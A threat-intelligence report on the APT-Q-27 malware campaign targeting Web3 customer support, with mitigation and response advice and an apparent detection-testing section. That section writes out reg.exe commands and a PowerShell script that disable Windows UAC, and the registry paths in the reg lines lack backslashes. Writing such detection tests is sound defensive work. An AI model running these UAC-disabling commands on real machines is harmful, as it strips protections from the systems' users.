APT-Q-27 Malware Campaign Focuses on Web3 Customer Support

Summary

A financially motivated threat actor tracked as APT-Q-27 (aka GoldenEyeDog) is running a multi-stage malware campaign that starts from Web3 customer-support chat interactions. The initial lure is a .pif file disguised as a screenshot, which deploys a custom .NET loader. That loader pulls additional stages from AWS S3, builds a hidden staging directory, and leverages DLL sideloading by pairing a malicious DLL with a legitimate YY platform executable. The final stage installs a backdoor that communicates over a non-standard TCP port, enabling stealthy remote access beyond typical web traffic baselines.

Investigation

ZeroShadow analyzed multiple loader variants, including Feedback.exe and photo2025060268jpg.exe, and recovered a double-Base64–encoded C2 URL embedded in the chain. Reverse engineering revealed the loader’s decryption logic and the sideloading workflow used to bootstrap execution. Analysts also documented a consistent staging-path marker containing “@27”, plus a persistence mechanism via an HKCU Run value named SystemUpdats. The backdoor was observed using a hard-coded set of 37 C2 IP addresses, communicating over TCP 15628, while blending activity by referencing Microsoft update URLs as decoy network indicators.

Mitigation

Enable full file-extension visibility and block execution of .pif files across endpoints. Monitor for hidden directory creation under Windows Update–style cache locations and alert on the SystemUpdats Run-key value. Harden UAC by preventing attackers from simultaneously zeroing the three relevant policy keys, and restrict outbound connectivity to TCP 15628 at egress points. Enforce code-signing validation and scrutinize signed binaries launched from non-system directories to reduce DLL sideloading risk.

Response

If detections fire, isolate the endpoint and preserve both memory and disk artifacts for triage. Hunt for the staging directory containing “@27”, the SystemUpdats Run-key entry, and any suspicious DLLs paired with the legitimate YY executable. Block the identified C2 IPs/domains and roll out application-control policies that prevent execution of unsigned or untrusted binaries from user profile paths. Expand scoping across the fleet for the same persistence and network patterns to identify additional affected hosts.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An adversary with local administrator rights seeks to disable UAC to smooth the path for further privilege‑escalation tools. Using the native reg.exe utility (a living‑off‑the‑land binary), the attacker sets the three critical UAC policy values to 0 in rapid succession (under 30 seconds) to avoid detection by manual audit processes.

  # Step 1 – Disable UAC “EnableLUA”
  reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem" /v EnableLUA /t REG_DWORD /d 0 /f
  
  # Step 2 – Disable consent prompt for admins
  reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
  
  # Step 3 – Disable secure desktop for UAC prompts
  reg add "HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f

  These three commands generate three Registry Event logs (EventID 4657 in the Security channel and the corresponding Microsoft-Windows-Registry/Operational events) containing the TargetObject paths and Details values that the Sigma rule matches.

• Regression Test Script: The following PowerShell script performs the three writes with a 5‑second pause between each to stay comfortably inside the 30‑second window while also providing a deterministic execution flow.

  # Regression Test – Disable UAC via registry
  $regPath = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem"
  
  # Store original values for later cleanup
  $originalEnableLUA = (Get-ItemProperty -Path $regPath -Name EnableLUA -ErrorAction SilentlyContinue).EnableLUA
  $originalConsent   = (Get-ItemProperty -Path $regPath -Name ConsentPromptBehaviorAdmin -ErrorAction SilentlyContinue).ConsentPromptBehaviorAdmin
  $originalPrompt    = (Get-ItemProperty -Path $regPath -Name PromptOnSecureDesktop -ErrorAction SilentlyContinue).PromptOnSecureDesktop
  
  # Disable UAC
  Set-ItemProperty -Path $regPath -Name EnableLUA -Value 0
  Start-Sleep -Seconds 5
  Set-ItemProperty -Path $regPath -Name ConsentPromptBehaviorAdmin -Value 0
  Start-Sleep -Seconds 5
  Set-ItemProperty -Path $regPath -Name PromptOnSecureDesktop -Value 0
  
  Write-Host "UAC disabled – verification logs should now be ingested."

• Cleanup Commands: Restore the original UAC settings to return the system to its pre‑test state.

  # Cleanup – Restore original UAC settings
  $regPath = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem"
  
  if ($null -ne $originalEnableLUA) { Set-ItemProperty -Path $regPath -Name EnableLUA -Value $originalEnableLUA }
  if ($null -ne $originalConsent)   { Set-ItemProperty -Path $regPath -Name ConsentPromptBehaviorAdmin -Value $originalConsent }
  if ($null -ne $originalPrompt)    { Set-ItemProperty -Path $regPath -Name PromptOnSecureDesktop -Value $originalPrompt }
  
  Write-Host "UAC settings restored to original values."